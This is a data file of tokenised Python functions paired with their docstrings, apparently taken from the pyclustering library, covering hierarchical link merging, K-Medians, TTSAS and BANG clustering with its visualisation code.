{"signature": "def __merge_by_average_link(self):", "body": "minimum_average_distance = float('<STR_LIT>');<EOL>for index_cluster1 in range(<NUM_LIT:0>, len(self.__clusters)):<EOL><INDENT>for index_cluster2 in range(index_cluster1 + <NUM_LIT:1>, len(self.__clusters)):<EOL><INDENT>candidate_average_distance = <NUM_LIT:0.0>;<EOL>for index_object1 in self.__clusters[index_cluster1]:<EOL><INDENT>for index_object2 in self.__clusters[index_cluster2]:<EOL><INDENT>candidate_average_distance += euclidean_distance_square(self.__pointer_data[index_object1], self.__pointer_data[index_object2]);<EOL><DEDENT><DEDENT>candidate_average_distance /= (len(self.__clusters[index_cluster1]) + len(self.__clusters[index_cluster2]));<EOL>if (candidate_average_distance < minimum_average_distance):<EOL><INDENT>minimum_average_distance = candidate_average_distance;<EOL>indexes = [index_cluster1, index_cluster2];<EOL><DEDENT><DEDENT><DEDENT>self.__clusters[indexes[<NUM_LIT:0>]] += self.__clusters[indexes[<NUM_LIT:1>]];  <EOL>self.__clusters.pop(indexes[<NUM_LIT:1>])<EOL>", "docstring": "!\n        @brief Merges the most similar clusters in line with average link type.", "id": "f15585:c1:m5"}
{"signature": "def __merge_by_centroid_link(self):", "body": "minimum_centroid_distance = float('<STR_LIT>');<EOL>indexes = None;<EOL>for index1 in range(<NUM_LIT:0>, len(self.__centers)):<EOL><INDENT>for index2 in range(index1 + <NUM_LIT:1>, len(self.__centers)):<EOL><INDENT>distance = euclidean_distance_square(self.__centers[index1], self.__centers[index2]);<EOL>if (distance < minimum_centroid_distance):<EOL><INDENT>minimum_centroid_distance = distance;<EOL>indexes = [index1, index2];<EOL><DEDENT><DEDENT><DEDENT>self.__clusters[indexes[<NUM_LIT:0>]] += self.__clusters[indexes[<NUM_LIT:1>]];<EOL>self.__centers[indexes[<NUM_LIT:0>]] = self.__calculate_center(self.__clusters[indexes[<NUM_LIT:0>]]);<EOL>self.__clusters.pop(indexes[<NUM_LIT:1>]);   <EOL>self.__centers.pop(indexes[<NUM_LIT:1>])<EOL>", "docstring": "!\n        @brief Merges the most similar clusters in line with centroid link type.", "id": "f15585:c1:m6"}
{"signature": "def __merge_by_complete_link(self):", "body": "minimum_complete_distance = float('<STR_LIT>');<EOL>indexes = None;<EOL>for index_cluster1 in range(<NUM_LIT:0>, len(self.__clusters)):<EOL><INDENT>for index_cluster2 in range(index_cluster1 + <NUM_LIT:1>, len(self.__clusters)):<EOL><INDENT>candidate_maximum_distance = self.__calculate_farthest_distance(index_cluster1, index_cluster2);<EOL>if (candidate_maximum_distance < minimum_complete_distance):<EOL><INDENT>minimum_complete_distance = candidate_maximum_distance;<EOL>indexes = [index_cluster1, index_cluster2];<EOL><DEDENT><DEDENT><DEDENT>self.__clusters[indexes[<NUM_LIT:0>]] += self.__clusters[indexes[<NUM_LIT:1>]];  <EOL>self.__clusters.pop(indexes[<NUM_LIT:1>])<EOL>", "docstring": "!\n        @brief Merges the most similar clusters in line with complete link type.", "id": "f15585:c1:m7"}
{"signature": "def __calculate_farthest_distance(self, index_cluster1, index_cluster2):", "body": "candidate_maximum_distance = <NUM_LIT:0.0>;<EOL>for index_object1 in self.__clusters[index_cluster1]:<EOL><INDENT>for index_object2 in self.__clusters[index_cluster2]:<EOL><INDENT>distance = euclidean_distance_square(self.__pointer_data[index_object1], self.__pointer_data[index_object2]);<EOL>if (distance > candidate_maximum_distance):<EOL><INDENT>candidate_maximum_distance = distance;<EOL><DEDENT><DEDENT><DEDENT>return candidate_maximum_distance<EOL>", "docstring": "!\n        @brief Finds two farthest objects in two specified clusters in terms and returns distance between them.\n\n        @param[in] (uint) Index of the first cluster.\n        @param[in] (uint) Index of the second cluster.\n\n        @return The farthest euclidean distance between two clusters.", "id": "f15585:c1:m8"}
{"signature": "def __merge_by_signle_link(self):", "body": "minimum_single_distance = float('<STR_LIT>');<EOL>indexes = None;<EOL>for index_cluster1 in range(<NUM_LIT:0>, len(self.__clusters)):<EOL><INDENT>for index_cluster2 in range(index_cluster1 + <NUM_LIT:1>, len(self.__clusters)):<EOL><INDENT>candidate_minimum_distance = self.__calculate_nearest_distance(index_cluster1, index_cluster2);<EOL>if (candidate_minimum_distance < minimum_single_distance):<EOL><INDENT>minimum_single_distance = candidate_minimum_distance;<EOL>indexes = [index_cluster1, index_cluster2];<EOL><DEDENT><DEDENT><DEDENT>self.__clusters[indexes[<NUM_LIT:0>]] += self.__clusters[indexes[<NUM_LIT:1>]];  <EOL>self.__clusters.pop(indexes[<NUM_LIT:1>])<EOL>", "docstring": "!\n        @brief Merges the most similar clusters in line with single link type.", "id": "f15585:c1:m9"}
{"signature": "def __calculate_nearest_distance(self, index_cluster1, index_cluster2):", "body": "candidate_minimum_distance = float('<STR_LIT>');<EOL>for index_object1 in self.__clusters[index_cluster1]:<EOL><INDENT>for index_object2 in self.__clusters[index_cluster2]:<EOL><INDENT>distance = euclidean_distance_square(self.__pointer_data[index_object1], self.__pointer_data[index_object2]);<EOL>if (distance < candidate_minimum_distance):<EOL><INDENT>candidate_minimum_distance = distance;<EOL><DEDENT><DEDENT><DEDENT>return candidate_minimum_distance<EOL>", "docstring": "!\n        @brief Finds two nearest objects in two specified clusters and returns distance between them.\n\n        @param[in] (uint) Index of the first cluster.\n        @param[in] (uint) Index of the second cluster.\n\n        @return The nearest euclidean distance between two clusters.", "id": "f15585:c1:m10"}
{"signature": "def __calculate_center(self, cluster):", "body": "dimension = len(self.__pointer_data[cluster[<NUM_LIT:0>]]);<EOL>center = [<NUM_LIT:0>] * dimension;<EOL>for index_point in cluster:<EOL><INDENT>for index_dimension in range(<NUM_LIT:0>, dimension):<EOL><INDENT>center[index_dimension] += self.__pointer_data[index_point][index_dimension];<EOL><DEDENT><DEDENT>for index_dimension in range(<NUM_LIT:0>, dimension):<EOL><INDENT>center[index_dimension] /= len(cluster);<EOL><DEDENT>return center<EOL>", "docstring": "!\n        @brief Calculates new center.\n\n        @return (list) New value of the center of the specified cluster.", "id": "f15585:c1:m11"}
{"signature": "def __init__(self, data, initial_centers, tolerance=<NUM_LIT>, ccore=True, **kwargs):", "body": "self.__pointer_data = data<EOL>self.__clusters = []<EOL>self.__medians = initial_centers[:]<EOL>self.__tolerance = tolerance<EOL>self.__itermax = kwargs.get('<STR_LIT>', <NUM_LIT:100>)<EOL>self.__metric = kwargs.get('<STR_LIT>', distance_metric(type_metric.EUCLIDEAN_SQUARE))<EOL>if self.__metric is None:<EOL><INDENT>self.__metric = distance_metric(type_metric.EUCLIDEAN_SQUARE)<EOL><DEDENT>self.__ccore = ccore and self.__metric.get_type() != type_metric.USER_DEFINED<EOL>if self.__ccore:<EOL><INDENT>self.__ccore = ccore_library.workable()<EOL><DEDENT>", "docstring": "!\n        @brief Constructor of clustering algorithm K-Medians.\n\n        @param[in] data (list): Input data that is presented as list of points (objects), each point should be represented by list or tuple.\n        @param[in] initial_centers (list): Initial coordinates of medians of clusters that are represented by list: [center1, center2, ...].\n        @param[in] tolerance (double): Stop condition: if maximum value of change of centers of clusters is less than tolerance than algorithm will stop processing\n        @param[in] ccore (bool): Defines should be CCORE library (C++ pyclustering library) used instead of Python code or not.\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'metric', 'itermax').\n\n        <b>Keyword Args:</b><br>\n            - metric (distance_metric): Metric that is used for distance calculation between two points.\n            - itermax (uint): Maximum number of iterations for cluster analysis.", "id": "f15586:c0:m0"}
{"signature": "def process(self):", "body": "if self.__ccore is True:<EOL><INDENT>ccore_metric = metric_wrapper.create_instance(self.__metric)<EOL>self.__clusters, self.__medians = wrapper.kmedians(self.__pointer_data, self.__medians, self.__tolerance, self.__itermax, ccore_metric.get_pointer())<EOL><DEDENT>else:<EOL><INDENT>changes = float('<STR_LIT>')<EOL>if len(self.__pointer_data[<NUM_LIT:0>]) != len(self.__medians[<NUM_LIT:0>]):<EOL><INDENT>raise NameError('<STR_LIT>')<EOL><DEDENT>iterations = <NUM_LIT:0><EOL>while changes > self.__tolerance and iterations < self.__itermax:<EOL><INDENT>self.__clusters = self.__update_clusters()<EOL>updated_centers = self.__update_medians()<EOL>changes = max([self.__metric(self.__medians[index], updated_centers[index]) for index in range(len(updated_centers))])<EOL>self.__medians = updated_centers<EOL>iterations += <NUM_LIT:1><EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "!\n        @brief Performs cluster analysis in line with rules of K-Medians algorithm.\n\n        @return (kmedians) Returns itself (K-Medians instance).\n\n        @remark Results of clustering can be obtained using corresponding get methods.\n\n        @see get_clusters()\n        @see get_medians()", "id": "f15586:c0:m1"}
{"signature": "def get_clusters(self):", "body": "return self.__clusters<EOL>", "docstring": "!\n        @brief Returns list of allocated clusters, each cluster contains indexes of objects in list of data.\n\n        @see process()\n        @see get_medians()", "id": "f15586:c0:m2"}
{"signature": "def get_medians(self):", "body": "return self.__medians<EOL>", "docstring": "!\n        @brief Returns list of centers of allocated clusters.\n\n        @see process()\n        @see get_clusters()", "id": "f15586:c0:m3"}
{"signature": "def get_cluster_encoding(self):", "body": "return type_encoding.CLUSTER_INDEX_LIST_SEPARATION<EOL>", "docstring": "!\n        @brief Returns clustering result representation type that indicate how clusters are encoded.\n\n        @return (type_encoding) Clustering result representation.\n\n        @see get_clusters()", "id": "f15586:c0:m4"}
{"signature": "def __update_clusters(self):", "body": "clusters = [[] for i in range(len(self.__medians))]<EOL>for index_point in range(len(self.__pointer_data)):<EOL><INDENT>index_optim = -<NUM_LIT:1><EOL>dist_optim = <NUM_LIT:0.0><EOL>for index in range(len(self.__medians)):<EOL><INDENT>dist = self.__metric(self.__pointer_data[index_point], self.__medians[index])<EOL>if (dist < dist_optim) or (index == <NUM_LIT:0>):<EOL><INDENT>index_optim = index<EOL>dist_optim = dist<EOL><DEDENT><DEDENT>clusters[index_optim].append(index_point)<EOL><DEDENT>clusters = [cluster for cluster in clusters if len(cluster) > <NUM_LIT:0>]<EOL>return clusters<EOL>", "docstring": "!\n        @brief Calculate Manhattan distance to each point from the each cluster. \n        @details Nearest points are captured by according clusters and as a result clusters are updated.\n\n        @return (list) updated clusters as list of clusters where each cluster contains indexes of objects from data.", "id": "f15586:c0:m5"}
{"signature": "def __update_medians(self):", "body": "medians = [[] for i in range(len(self.__clusters))]<EOL>for index in range(len(self.__clusters)):<EOL><INDENT>medians[index] = [<NUM_LIT:0.0> for i in range(len(self.__pointer_data[<NUM_LIT:0>]))]<EOL>length_cluster = len(self.__clusters[index])<EOL>for index_dimension in range(len(self.__pointer_data[<NUM_LIT:0>])):<EOL><INDENT>sorted_cluster = sorted(self.__clusters[index], key=lambda x: self.__pointer_data[x][index_dimension])<EOL>relative_index_median = int(math.floor((length_cluster - <NUM_LIT:1>) / <NUM_LIT:2>))<EOL>index_median = sorted_cluster[relative_index_median]<EOL>if (length_cluster % <NUM_LIT:2>) == <NUM_LIT:0>:<EOL><INDENT>index_median_second = sorted_cluster[relative_index_median + <NUM_LIT:1>]<EOL>medians[index][index_dimension] = (self.__pointer_data[index_median][index_dimension] + self.__pointer_data[index_median_second][index_dimension]) / <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>medians[index][index_dimension] = self.__pointer_data[index_median][index_dimension]<EOL><DEDENT><DEDENT><DEDENT>return medians<EOL>", "docstring": "!\n        @brief Calculate medians of clusters in line with contained objects.\n\n        @return (list) list of medians for current number of clusters.", "id": "f15586:c0:m6"}
{"signature": "def __init__(self, data, threshold1, threshold2, ccore=True, **kwargs):", "body": "self._threshold2 = threshold2;<EOL>self._amount_skipped_objects = len(data);<EOL>self._skipped_objects = [ True ] * len(data);<EOL>super().__init__(data, len(data), threshold1, ccore, **kwargs)<EOL>", "docstring": "!\n        @brief Creates TTSAS algorithm.\n\n        @param[in] data (list): Input data that is presented as list of points (objects), each point should be represented by list or tuple.\n        @param[in] threshold1: Dissimilarity level (distance) between point and its closest cluster, if the distance is\n                    less than 'threshold1' value then point is assigned to the cluster.\n        @param[in] threshold2: Dissimilarity level (distance) between point and its closest cluster, if the distance is\n                    greater than 'threshold2' value then point is considered as a new cluster.\n        @param[in] ccore (bool): If True than DLL CCORE (C++ solution) will be used for solving.\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'metric').\n\n        <b>Keyword Args:</b><br>\n            - metric (distance_metric): Metric that is used for distance calculation between two points.", "id": "f15587:c0:m0"}
{"signature": "def process(self):", "body": "if self._ccore is True:<EOL><INDENT>self.__process_by_ccore();<EOL><DEDENT>else:<EOL><INDENT>self.__prcess_by_python();<EOL><DEDENT>", "docstring": "!\n        @brief Performs cluster analysis in line with rules of BSAS algorithm.\n\n        @remark Results of clustering can be obtained using corresponding get methods.\n\n        @see get_clusters()\n        @see get_representatives()", "id": "f15587:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def show_blocks(directory):<DEDENT>", "body": "dimension = len(directory.get_data()[<NUM_LIT:0>])<EOL>amount_canvases = <NUM_LIT:1><EOL>if dimension > <NUM_LIT:1>:<EOL><INDENT>amount_canvases = int(dimension * (dimension - <NUM_LIT:1>) / <NUM_LIT:2>)<EOL><DEDENT>figure = plt.figure()<EOL>grid_spec = gridspec.GridSpec(<NUM_LIT:1>, amount_canvases)<EOL>pairs = list(itertools.combinations(range(dimension), <NUM_LIT:2>))<EOL>if len(pairs) == <NUM_LIT:0>: pairs = [(<NUM_LIT:0>, <NUM_LIT:0>)]<EOL>for index in range(amount_canvases):<EOL><INDENT>ax = figure.add_subplot(grid_spec[index])<EOL>bang_visualizer.__draw_blocks(ax, directory.get_leafs(), pairs[index])<EOL>bang_visualizer.__draw_two_dimension_data(ax, directory.get_data(), pairs[index])<EOL><DEDENT>plt.show()<EOL>", "docstring": "!\n        @brief Show BANG-blocks (leafs only) in data space.\n        @details BANG-blocks represents grid that was used for clustering process.\n\n        @param[in] directory (bang_directory): Directory that was created by BANG algorithm during clustering process.", "id": "f15588:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def show_dendrogram(dendrogram):<DEDENT>", "body": "plt.figure()<EOL>axis = plt.subplot(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>)<EOL>current_position = <NUM_LIT:0><EOL>for index_cluster in range(len(dendrogram)):<EOL><INDENT>densities = [ block.get_density() for block in dendrogram[index_cluster] ]<EOL>xrange = range(current_position, current_position + len(densities))<EOL>axis.bar(xrange, densities, <NUM_LIT:1.0>, linewidth=<NUM_LIT:0.0>, color=color_list.get_color(index_cluster))<EOL>current_position += len(densities)<EOL><DEDENT>axis.set_ylabel(\"<STR_LIT>\")<EOL>axis.set_xlabel(\"<STR_LIT>\")<EOL>axis.xaxis.set_ticklabels([])<EOL>plt.xlim([-<NUM_LIT:0.5>, current_position - <NUM_LIT:0.5>])<EOL>plt.show()<EOL>", "docstring": "!\n        @brief Display dendrogram of BANG-blocks.\n\n        @param[in] dendrogram (list): List representation of dendrogram of BANG-blocks.\n\n        @see bang.get_dendrogram()", "id": "f15588:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def show_clusters(data, clusters, noise=None):<DEDENT>", "body": "visualizer = cluster_visualizer()<EOL>visualizer.append_clusters(clusters, data)<EOL>visualizer.append_cluster(noise or [], data, marker='<STR_LIT:x>')<EOL>visualizer.show()<EOL>", "docstring": "!\n        @brief Display BANG clustering results.\n\n        @param[in] data (list): Dataset that was used for clustering.\n        @param[in] clusters (array_like): Clusters that were allocated by the algorithm.\n        @param[in] noise (array_like): Noise that were allocated by the algorithm.", "id": "f15588:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def __draw_two_dimension_data(ax, data, pair):<DEDENT>", "body": "ax.set_xlabel(\"<STR_LIT>\" % pair[<NUM_LIT:0>])<EOL>ax.set_ylabel(\"<STR_LIT>\" % pair[<NUM_LIT:1>])<EOL>for point in data:<EOL><INDENT>if len(data[<NUM_LIT:0>]) > <NUM_LIT:1>:<EOL><INDENT>ax.plot(point[pair[<NUM_LIT:0>]], point[pair[<NUM_LIT:1>]], color='<STR_LIT>', marker='<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>ax.plot(point[pair[<NUM_LIT:0>]], <NUM_LIT:0>, color='<STR_LIT>', marker='<STR_LIT:.>')<EOL>ax.yaxis.set_ticklabels([])<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Display data in two-dimensional canvas.\n\n        @param[in] ax (Axis): Canvas where data should be displayed.\n        @param[in] data (list): Data points that should be displayed.\n        @param[in] pair (tuple): Pair of dimension indexes.", "id": "f15588:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def __draw_blocks(ax, blocks, pair):<DEDENT>", "body": "ax.grid(False)<EOL>density_scale = blocks[-<NUM_LIT:1>].get_density()<EOL>for block in blocks:<EOL><INDENT>bang_visualizer.__draw_block(ax, pair, block, density_scale)<EOL><DEDENT>", "docstring": "!\n        @brief Display BANG-blocks on specified figure.\n\n        @param[in] ax (Axis): Axis where bang-blocks should be displayed.\n        @param[in] blocks (list): List of blocks that should be displyed.\n        @param[in] pair (tuple): Pair of coordinate index that should be displayed.", "id": "f15588:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def __draw_block(ax, pair, block, density_scale):<DEDENT>", "body": "max_corner, min_corner = bang_visualizer.__get_rectangle_description(block, pair)<EOL>belong_cluster = block.get_cluster() is not None<EOL>if density_scale != <NUM_LIT:0.0>:<EOL><INDENT>density_scale = bang_visualizer.__maximum_density_alpha * block.get_density() / density_scale<EOL><DEDENT>face_color = matplotlib.colors.to_rgba('<STR_LIT>', alpha=density_scale)<EOL>edge_color = matplotlib.colors.to_rgba('<STR_LIT>', alpha=<NUM_LIT:1.0>)<EOL>rect = patches.Rectangle(min_corner, max_corner[<NUM_LIT:0>] - min_corner[<NUM_LIT:0>], max_corner[<NUM_LIT:1>] - min_corner[<NUM_LIT:1>],<EOL>fill=belong_cluster,<EOL>facecolor=face_color,<EOL>edgecolor=edge_color,<EOL>linewidth=<NUM_LIT:0.5>)<EOL>ax.add_patch(rect)<EOL>", "docstring": "!\n        @brief Display BANG-block on the specified ax.\n\n        @param[in] ax (Axis): Axis where block should be displayed.\n        @param[in] pair (tuple): Pair of coordinate index that should be displayed.\n        @param[in] block (bang_block): BANG-block that should be displayed.\n        @param[in] density_scale (double): Max density to display density of the block by appropriate tone.", "id": "f15588:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def __get_rectangle_description(block, pair):<DEDENT>", "body": "max_corner, min_corner = block.get_spatial_block().get_corners()<EOL>max_corner = [max_corner[pair[<NUM_LIT:0>]], max_corner[pair[<NUM_LIT:1>]]]<EOL>min_corner = [min_corner[pair[<NUM_LIT:0>]], min_corner[pair[<NUM_LIT:1>]]]<EOL>if pair == (<NUM_LIT:0>, <NUM_LIT:0>):<EOL><INDENT>max_corner[<NUM_LIT:1>], min_corner[<NUM_LIT:1>] = <NUM_LIT:1.0>, -<NUM_LIT:1.0><EOL><DEDENT>return max_corner, min_corner<EOL>", "docstring": "!\n        @brief Create rectangle description for block in specific dimension.\n\n        @param[in] pair (tuple): Pair of coordinate index that should be displayed.\n        @param[in] block (bang_block): BANG-block that should be displayed\n\n        @return (tuple) Pair of corners that describes rectangle.", "id": "f15588:c0:m6"}
{"signature": "def __init__(self, directory, clusters):", "body": "self.__directory = directory<EOL>self.__clusters = clusters<EOL>self.__noise = []<EOL>self.__current_block = <NUM_LIT:0><EOL>self.__current_level = <NUM_LIT:0><EOL>self.__level_blocks = directory.get_level(<NUM_LIT:0>)<EOL>self.__figure = plt.figure()<EOL>self.__ax = self.__figure.add_subplot(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>)<EOL>self.__special_frame = <NUM_LIT:0><EOL>self.__validate_arguments()<EOL>", "docstring": "!\n        @brief Creates BANG animator instance.\n\n        @param[in] directory (bang_directory): BANG directory that was formed during BANG clustering process.\n        @param[in] clusters (list): Allocated clusters during BANG clustering process.", "id": "f15588:c1:m0"}
{"signature": "def __validate_arguments(self):", "body": "if len(self.__directory.get_data()[<NUM_LIT:0>]) != <NUM_LIT:2>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "!\n        @brief Check correctness of input arguments and throw exception if incorrect is found.", "id": "f15588:c1:m1"}
{"signature": "def __increment_block(self):", "body": "self.__current_block += <NUM_LIT:1><EOL>if self.__current_block >= len(self.__level_blocks):<EOL><INDENT>self.__current_block = <NUM_LIT:0><EOL>self.__current_level += <NUM_LIT:1><EOL>if self.__current_level < self.__directory.get_height():<EOL><INDENT>self.__level_blocks = self.__directory.get_level(self.__current_level)<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Increment BANG block safely by updating block index, level and level block.", "id": "f15588:c1:m2"}
{"signature": "def __draw_block(self, block, block_alpha=<NUM_LIT:0.0>):", "body": "max_corner, min_corner = block.get_spatial_block().get_corners()<EOL>face_color = matplotlib.colors.to_rgba('<STR_LIT>', alpha=block_alpha)<EOL>edge_color = matplotlib.colors.to_rgba('<STR_LIT>', alpha=<NUM_LIT:1.0>)<EOL>rect = patches.Rectangle(min_corner, max_corner[<NUM_LIT:0>] - min_corner[<NUM_LIT:0>], max_corner[<NUM_LIT:1>] - min_corner[<NUM_LIT:1>],<EOL>fill=True,<EOL>facecolor=face_color,<EOL>edgecolor=edge_color,<EOL>linewidth=<NUM_LIT:0.5>)<EOL>self.__ax.add_patch(rect)<EOL>", "docstring": "!\n        @brief Display single BANG block on axis.\n\n        @param[in] block (bang_block): BANG block that should be displayed.\n        @param[in] block_alpha (double): Transparency level - value of alpha.", "id": "f15588:c1:m3"}
{"signature": "def __draw_leaf_density(self):", "body": "leafs = self.__directory.get_leafs()<EOL>density_scale = leafs[-<NUM_LIT:1>].get_density()<EOL>if density_scale == <NUM_LIT:0.0>: density_scale = <NUM_LIT:1.0><EOL>for block in leafs:<EOL><INDENT>alpha = <NUM_LIT> * block.get_density() / density_scale<EOL>self.__draw_block(block, alpha)<EOL><DEDENT>", "docstring": "!\n        @brief Display densities by filling blocks by appropriate colors.", "id": "f15588:c1:m4"}
{"signature": "def __draw_clusters(self):", "body": "data = self.__directory.get_data()<EOL>for index_cluster in range(len(self.__clusters)):<EOL><INDENT>color = color_list.get_color(index_cluster)<EOL>self.__draw_cluster(data, self.__clusters[index_cluster], color, '<STR_LIT:.>')<EOL><DEDENT>self.__draw_cluster(self.__directory.get_data(), self.__noise, '<STR_LIT>', '<STR_LIT:x>')<EOL>", "docstring": "!\n        @brief Display clusters and outliers using different colors.", "id": "f15588:c1:m5"}
{"signature": "def __draw_cluster(self, data, cluster, color, marker):", "body": "for item in cluster:<EOL><INDENT>self.__ax.plot(data[item][<NUM_LIT:0>], data[item][<NUM_LIT:1>], color=color, marker=marker)<EOL><DEDENT>", "docstring": "!\n        @brief Draw 2-D single cluster on axis using specified color and marker.", "id": "f15588:c1:m6"}
{"signature": "def animate(self, animation_velocity=<NUM_LIT>, movie_fps=<NUM_LIT>, movie_filename=None):", "body": "def init_frame():<EOL><INDENT>self.__figure.clf()<EOL>self.__ax = self.__figure.add_subplot(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>)<EOL>self.__figure.suptitle(\"<STR_LIT>\", fontsize=<NUM_LIT>, fontweight='<STR_LIT>')<EOL>for point in self.__directory.get_data():<EOL><INDENT>self.__ax.plot(point[<NUM_LIT:0>], point[<NUM_LIT:1>], color='<STR_LIT>', marker='<STR_LIT:.>')<EOL><DEDENT>return frame_generation(<NUM_LIT:0>)<EOL><DEDENT>def frame_generation(index_iteration):<EOL><INDENT>if self.__current_level < self.__directory.get_height():<EOL><INDENT>block = self.__level_blocks[self.__current_block]<EOL>self.__draw_block(block)<EOL>self.__increment_block()<EOL><DEDENT>else:<EOL><INDENT>if self.__special_frame == <NUM_LIT:0>:<EOL><INDENT>self.__draw_leaf_density()<EOL><DEDENT>elif self.__special_frame == <NUM_LIT:15>:<EOL><INDENT>self.__draw_clusters()<EOL><DEDENT>elif self.__special_frame == <NUM_LIT:30>:<EOL><INDENT>self.__figure.clf()<EOL>self.__ax = self.__figure.add_subplot(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>)<EOL>self.__figure.suptitle(\"<STR_LIT>\", fontsize=<NUM_LIT>, fontweight='<STR_LIT>')<EOL>self.__draw_clusters()<EOL><DEDENT>self.__special_frame += <NUM_LIT:1><EOL><DEDENT><DEDENT>iterations = len(self.__directory) + <NUM_LIT><EOL>cluster_animation = animation.FuncAnimation(self.__figure, frame_generation, iterations,<EOL>interval=animation_velocity,<EOL>init_func=init_frame,<EOL>repeat_delay=<NUM_LIT>)<EOL>if movie_filename is not None:<EOL><INDENT>cluster_animation.save(movie_filename, writer = '<STR_LIT>', fps = movie_fps, bitrate = <NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>plt.show()<EOL><DEDENT>", "docstring": "!\n        @brief Animates clustering process that is performed by BANG algorithm.\n\n        @param[in] animation_velocity (uint): Interval between frames in milliseconds (for run-time animation only).\n        @param[in] movie_fps (uint): Defines frames per second (for rendering movie only).\n        @param[in] movie_filename (string): If it is specified then animation will be stored to file that is specified in this parameter.", "id": "f15588:c1:m7"}
{"signature": "def __init__(self, data, levels, **kwargs):", "body": "self.__data = data<EOL>self.__levels = levels<EOL>self.__density_threshold = kwargs.get('<STR_LIT>', <NUM_LIT:0.0>)<EOL>self.__amount_density = kwargs.get('<STR_LIT>', <NUM_LIT:0>)<EOL>self.__leafs = []<EOL>self.__root = None<EOL>self.__level_blocks = []<EOL>self.__size = <NUM_LIT:0><EOL>self.__observe = kwargs.get('<STR_LIT>', True)<EOL>self.__create_directory()<EOL>", "docstring": "!\n        @brief Create BANG directory - basically tree structure with direct access to leafs.\n\n        @param[in] data (list): Input data that is clustered.\n        @param[in] levels (uint): Height of the blocks tree.\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'observe').\n\n        <b>Keyword Args:</b><br>\n            - observe (bool): If 'True' then blocks on each level are stored.\n            - density_threshold (double): The lowest level of density when contained data in bang-block is\n               considered as a noise and there is no need to split it till the last level. Be aware that this\n               parameter is used with 'amount_threshold' parameter.\n            - amount_threshold (uint): Amount of points in the block when it contained data in bang-block is\n               considered as a noise and there is no need to split it till the last level.", "id": "f15588:c2:m0"}
{"signature": "def __len__(self):", "body": "return self.__size<EOL>", "docstring": "!\n        @brief Returns amount of blocks that is stored in the directory\n\n        @return (uint) Amount of blocks in the BANG directory.", "id": "f15588:c2:m1"}
{"signature": "def get_data(self):", "body": "return self.__data<EOL>", "docstring": "!\n        @brief Return data that is stored in the directory.\n\n        @return (list) List of points that represents stored data.", "id": "f15588:c2:m2"}
{"signature": "def get_leafs(self):", "body": "return self.__leafs<EOL>", "docstring": "!\n        @brief Return leafs - the smallest blocks.\n        @details Some leafs can be bigger than others because splitting is not performed for blocks whose density is\n                  less than threshold.\n\n        @return (list) List of blocks that are leafs of BANG directory.", "id": "f15588:c2:m3"}
{"signature": "def get_level(self, level):", "body": "return self.__level_blocks[level]<EOL>", "docstring": "!\n        @brief Returns BANG blocks on the specific level.\n\n        @param[in] level (uint): Level of tree where BANG blocks are located.\n\n        @return (list) List of BANG blocks on the specific level.", "id": "f15588:c2:m4"}
{"signature": "def get_height(self):", "body": "return len(self.__level_blocks)<EOL>", "docstring": "!\n        @brief Returns height of BANG tree where blocks are stored.\n\n        @return (uint) Height of BANG tree.", "id": "f15588:c2:m5"}
{"signature": "def __create_directory(self):", "body": "min_corner, max_corner = data_corners(self.__data)<EOL>data_block = spatial_block(max_corner, min_corner)<EOL>cache_require = (self.__levels == <NUM_LIT:1>)<EOL>self.__root = bang_block(self.__data, <NUM_LIT:0>, <NUM_LIT:0>, data_block, cache_require)<EOL>if cache_require:<EOL><INDENT>self.__leafs.append(self.__root)<EOL>self.__store_level_blocks([self.__root])<EOL><DEDENT>else:<EOL><INDENT>self.__build_directory_levels()<EOL><DEDENT>", "docstring": "!\n        @brief Create BANG directory as a tree with separate storage for leafs.", "id": "f15588:c2:m6"}
{"signature": "def __store_level_blocks(self, level_blocks):", "body": "self.__size += len(level_blocks)<EOL>if self.__observe is True:<EOL><INDENT>self.__level_blocks.append(level_blocks)<EOL><DEDENT>", "docstring": "!\n        @brief Store level blocks if observing is enabled.\n\n        @param[in] level_blocks (list): Created blocks on a new level.", "id": "f15588:c2:m7"}
{"signature": "def __build_directory_levels(self):", "body": "previous_level_blocks = [ self.__root ]<EOL>for level in range(<NUM_LIT:1>, self.__levels):<EOL><INDENT>previous_level_blocks = self.__build_level(previous_level_blocks, level)<EOL>self.__store_level_blocks(previous_level_blocks)<EOL><DEDENT>self.__leafs = sorted(self.__leafs, key=lambda block: block.get_density())<EOL>", "docstring": "!\n        @brief Build levels of direction if amount of level is greater than one.", "id": "f15588:c2:m8"}
{"signature": "def __build_level(self, previous_level_blocks, level):", "body": "current_level_blocks = []<EOL>split_dimension = level % len(self.__data[<NUM_LIT:0>])<EOL>cache_require = (level == self.__levels - <NUM_LIT:1>)<EOL>for block in previous_level_blocks:<EOL><INDENT>self.__split_block(block, split_dimension, cache_require, current_level_blocks)<EOL><DEDENT>if cache_require:<EOL><INDENT>self.__leafs += current_level_blocks<EOL><DEDENT>return current_level_blocks<EOL>", "docstring": "!\n        @brief Build new level of directory.\n\n        @param[in] previous_level_blocks (list): BANG-blocks on the previous level.\n        @param[in] level (uint): Level number that should be built.\n\n        @return (list) New block on the specified level.", "id": "f15588:c2:m9"}
